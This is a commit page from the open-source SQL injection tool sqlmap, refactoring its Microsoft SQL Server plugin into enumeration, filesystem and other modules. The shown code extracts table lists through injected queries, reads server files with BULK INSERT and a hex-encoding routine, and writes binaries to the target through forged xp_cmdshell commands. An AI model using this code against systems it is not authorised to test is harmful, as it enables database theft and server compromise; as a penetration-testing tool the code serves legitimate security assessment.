Skip to content

Commit 09768a7

Browse files
committed
Major code refactoring: moved and split plugins (mysql, pgsql, mssql, oracle) more granularly and organized.
Todo for firebird, sqlite, access.
1 parent f9a135e commit 09768a7

36 files changed

Lines changed: 2578 additions & 1869 deletions

plugins/dbms/mssqlserver.py

Lines changed: 0 additions & 694 deletions
This file was deleted.
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
7+
8+
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
9+
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
10+
11+
sqlmap is free software; you can redistribute it and/or modify it under
12+
the terms of the GNU General Public License as published by the Free
13+
Software Foundation version 2 of the License.
14+
15+
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
16+
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
17+
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
18+
details.
19+
20+
You should have received a copy of the GNU General Public License along
21+
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
22+
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
23+
"""
24+
25+
from lib.core.settings import MSSQL_SYSTEM_DBS
26+
from lib.core.unescaper import unescaper
27+
28+
from plugins.dbms.mssqlserver.enumeration import Enumeration
29+
from plugins.dbms.mssqlserver.filesystem import Filesystem
30+
from plugins.dbms.mssqlserver.fingerprint import Fingerprint
31+
from plugins.dbms.mssqlserver.syntax import Syntax
32+
from plugins.dbms.mssqlserver.takeover import Takeover
33+
from plugins.generic.misc import Miscellaneous
34+
35+
36+
class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
37+
"""
38+
This class defines Microsoft SQL Server methods
39+
"""
40+
41+
def __init__(self):
42+
self.excludeDbsList = MSSQL_SYSTEM_DBS
43+
44+
Syntax.__init__(self)
45+
Fingerprint.__init__(self)
46+
Enumeration.__init__(self)
47+
Filesystem.__init__(self)
48+
Miscellaneous.__init__(self)
49+
Takeover.__init__(self)
50+
51+
unescaper.setUnescape(MSSQLServerMap.unescape)
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
7+
8+
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
9+
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
10+
11+
sqlmap is free software; you can redistribute it and/or modify it under
12+
the terms of the GNU General Public License as published by the Free
13+
Software Foundation version 2 of the License.
14+
15+
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
16+
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
17+
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
18+
details.
19+
20+
You should have received a copy of the GNU General Public License along
21+
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
22+
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
23+
"""
24+
25+
from lib.core.data import conf
26+
from lib.core.data import kb
27+
from lib.core.data import logger
28+
from lib.core.data import queries
29+
from lib.core.exception import sqlmapNoneDataException
30+
from lib.request import inject
31+
32+
from plugins.generic.enumeration import Enumeration as GenericEnumeration
33+
34+
class Enumeration(GenericEnumeration):
35+
def __init__(self):
36+
GenericEnumeration.__init__(self, "Microsoft SQL Server")
37+
38+
def getPrivileges(self):
39+
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
40+
warnMsg += "database users privileges"
41+
logger.warn(warnMsg)
42+
43+
return {}
44+
45+
def getTables(self):
46+
infoMsg = "fetching tables"
47+
if conf.db:
48+
infoMsg += " for database '%s'" % conf.db
49+
logger.info(infoMsg)
50+
51+
rootQuery = queries[kb.dbms].tables
52+
53+
if not conf.db:
54+
if not len(kb.data.cachedDbs):
55+
dbs = self.getDbs()
56+
else:
57+
dbs = kb.data.cachedDbs
58+
else:
59+
if "," in conf.db:
60+
dbs = conf.db.split(",")
61+
else:
62+
dbs = [conf.db]
63+
64+
if kb.unionPosition:
65+
for db in dbs:
66+
if conf.excludeSysDbs and db in self.excludeDbsList:
67+
infoMsg = "skipping system database '%s'" % db
68+
logger.info(infoMsg)
69+
70+
continue
71+
72+
query = rootQuery["inband"]["query"] % db
73+
value = inject.getValue(query, blind=False)
74+
75+
if value:
76+
kb.data.cachedTables[db] = value
77+
78+
if not kb.data.cachedTables:
79+
for db in dbs:
80+
if conf.excludeSysDbs and db in self.excludeDbsList:
81+
infoMsg = "skipping system database '%s'" % db
82+
logger.info(infoMsg)
83+
84+
continue
85+
86+
infoMsg = "fetching number of tables for "
87+
infoMsg += "database '%s'" % db
88+
logger.info(infoMsg)
89+
90+
query = rootQuery["blind"]["count"] % db
91+
count = inject.getValue(query, inband=False, charsetType=2)
92+
93+
if not count.isdigit() or not len(count) or count == "0":
94+
warnMsg = "unable to retrieve the number of "
95+
warnMsg += "tables for database '%s'" % db
96+
logger.warn(warnMsg)
97+
continue
98+
99+
tables = []
100+
101+
for index in range(int(count)):
102+
query = rootQuery["blind"]["query"] % (db, index, db)
103+
table = inject.getValue(query, inband=False)
104+
tables.append(table)
105+
106+
if tables:
107+
kb.data.cachedTables[db] = tables
108+
else:
109+
warnMsg = "unable to retrieve the tables "
110+
warnMsg += "for database '%s'" % db
111+
logger.warn(warnMsg)
112+
113+
if not kb.data.cachedTables:
114+
errMsg = "unable to retrieve the tables for any database"
115+
raise sqlmapNoneDataException(errMsg)
116+
117+
return kb.data.cachedTables
Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
#!/usr/bin/env python
2+
3+
"""
4+
$Id$
5+
6+
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
7+
8+
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
9+
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
10+
11+
sqlmap is free software; you can redistribute it and/or modify it under
12+
the terms of the GNU General Public License as published by the Free
13+
Software Foundation version 2 of the License.
14+
15+
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
16+
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
17+
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
18+
details.
19+
20+
You should have received a copy of the GNU General Public License along
21+
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
22+
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
23+
"""
24+
25+
import os
26+
27+
from lib.core.common import getRange
28+
from lib.core.common import posixToNtSlashes
29+
from lib.core.common import randomStr
30+
from lib.core.convert import urlencode
31+
from lib.core.data import conf
32+
from lib.core.data import kb
33+
from lib.core.data import logger
34+
from lib.core.exception import sqlmapNoneDataException
35+
from lib.core.exception import sqlmapUnsupportedFeatureException
36+
from lib.request import inject
37+
38+
from plugins.generic.filesystem import Filesystem as GenericFilesystem
39+
40+
class Filesystem(GenericFilesystem):
41+
def __init__(self):
42+
GenericFilesystem.__init__(self)
43+
44+
def unionReadFile(self, rFile):
45+
errMsg = "Microsoft SQL Server does not support file reading "
46+
errMsg += "with UNION query SQL injection technique"
47+
raise sqlmapUnsupportedFeatureException(errMsg)
48+
49+
def stackedReadFile(self, rFile):
50+
infoMsg = "fetching file: '%s'" % rFile
51+
logger.info(infoMsg)
52+
53+
result = []
54+
txtTbl = self.fileTblName
55+
hexTbl = "%shex" % self.fileTblName
56+
57+
self.createSupportTbl(txtTbl, self.tblField, "text")
58+
inject.goStacked("DROP TABLE %s" % hexTbl)
59+
inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)"))
60+
61+
logger.debug("loading the content of file '%s' into support table" % rFile)
62+
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True)
63+
64+
# Reference: http://support.microsoft.com/kb/104829
65+
binToHexQuery = """
66+
DECLARE @charset VARCHAR(16)
67+
DECLARE @counter INT
68+
DECLARE @hexstr VARCHAR(4096)
69+
DECLARE @length INT
70+
DECLARE @chunk INT
71+
72+
SET @charset = '0123456789ABCDEF'
73+
SET @counter = 1
74+
SET @hexstr = ''
75+
SET @length = (SELECT DATALENGTH(%s) FROM %s)
76+
SET @chunk = 1024
77+
78+
WHILE (@counter <= @length)
79+
BEGIN
80+
DECLARE @tempint INT
81+
DECLARE @firstint INT
82+
DECLARE @secondint INT
83+
84+
SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s))
85+
SET @firstint = floor(@tempint/16)
86+
SET @secondint = @tempint - (@firstint * 16)
87+
SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1)
88+
89+
SET @counter = @counter + 1
90+
91+
IF @counter %% @chunk = 0
92+
BEGIN
93+
INSERT INTO %s(%s) VALUES(@hexstr)
94+
SET @hexstr = ''
95+
END
96+
END
97+
98+
IF @counter %% (@chunk) != 0
99+
BEGIN
100+
INSERT INTO %s(%s) VALUES(@hexstr)
101+
END
102+
""" % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField)
103+
104+
binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ")
105+
binToHexQuery = urlencode(binToHexQuery, convall=True)
106+
inject.goStacked(binToHexQuery)
107+
108+
if kb.unionPosition:
109+
result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False)
110+
111+
if not result:
112+
result = []
113+
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
114+
115+
if not count.isdigit() or not len(count) or count == "0":
116+
errMsg = "unable to retrieve the content of the "
117+
errMsg += "file '%s'" % rFile
118+
raise sqlmapNoneDataException(errMsg)
119+
120+
indexRange = getRange(count)
121+
122+
for index in indexRange:
123+
chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3)
124+
result.append(chunk)
125+
126+
inject.goStacked("DROP TABLE %s" % hexTbl)
127+
128+
return result
129+
130+
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
131+
errMsg = "Microsoft SQL Server does not support file upload with "
132+
errMsg += "UNION query SQL injection technique"
133+
raise sqlmapUnsupportedFeatureException(errMsg)
134+
135+
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
136+
# NOTE: this is needed here because we use xp_cmdshell extended
137+
# procedure to write a file on the back-end Microsoft SQL Server
138+
# file system. Maybe it won't be required to write text files
139+
self.initEnv()
140+
141+
self.getRemoteTempPath()
142+
143+
debugMsg = "going to use xp_cmdshell extended procedure to write "
144+
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
145+
logger.debug(debugMsg)
146+
147+
debugSize = 0xFF00
148+
tmpPath = posixToNtSlashes(conf.tmpPath)
149+
dFileName = os.path.split(dFile)[1]
150+
dFile = posixToNtSlashes(dFile)
151+
wFileSize = os.path.getsize(wFile)
152+
wFilePointer = open(wFile, "rb")
153+
wFileContent = wFilePointer.read()
154+
wFilePointer.close()
155+
156+
if wFileSize < debugSize:
157+
chunkName = self.updateBinChunk(wFileContent, tmpPath)
158+
sFile = "%s\%s" % (tmpPath, dFileName)
159+
160+
logger.debug("moving binary file %s to %s" % (sFile, dFile))
161+
162+
commands = ("cd %s" % tmpPath,
163+
"ren %s %s" % (chunkName, dFileName),
164+
"move /Y %s %s" % (dFileName, dFile))
165+
complComm = " & ".join(command for command in commands)
166+
forgedCmd = self.xpCmdshellForgeCmd(complComm)
167+
168+
self.execCmd(forgedCmd)
169+
170+
else:
171+
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
172+
infoMsg += "bytes. sqlmap will split it into chunks, upload "
173+
infoMsg += "them and recreate the original file out of the "
174+
infoMsg += "binary chunks server-side, wait.."
175+
logger.info(infoMsg)
176+
177+
counter = 1
178+
179+
for i in range(0, wFileSize, debugSize):
180+
wFileChunk = wFileContent[i:i + debugSize]
181+
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
182+
183+
if i == 0:
184+
infoMsg = "renaming chunk "
185+
copyCmd = "ren %s %s" % (chunkName, dFileName)
186+
else:
187+
infoMsg = "appending chunk "
188+
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
189+
190+
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
191+
logger.debug(infoMsg)
192+
193+
commands = ("cd %s" % tmpPath,
194+
copyCmd,
195+
"del /F %s" % chunkName)
196+
complComm = " & ".join(command for command in commands)
197+
forgedCmd = self.xpCmdshellForgeCmd(complComm)
198+
199+
self.execCmd(forgedCmd)
200+
201+
logger.info("file chunk %d written" % counter)
202+
203+
counter += 1
204+
205+
sFile = "%s\%s" % (tmpPath, dFileName)
206+
207+
logger.debug("moving binary file %s to %s" % (sFile, dFile))
208+
209+
commands = ("cd %s" % tmpPath,
210+
"move /Y %s %s" % (dFileName, dFile))
211+
complComm = " & ".join(command for command in commands)
212+
forgedCmd = self.xpCmdshellForgeCmd(complComm)
213+
214+
self.execCmd(forgedCmd)
215+
216+
if confirm:
217+
self.askCheckWrittenFile(wFile, dFile, fileType)

0 commit comments

Comments
 (0)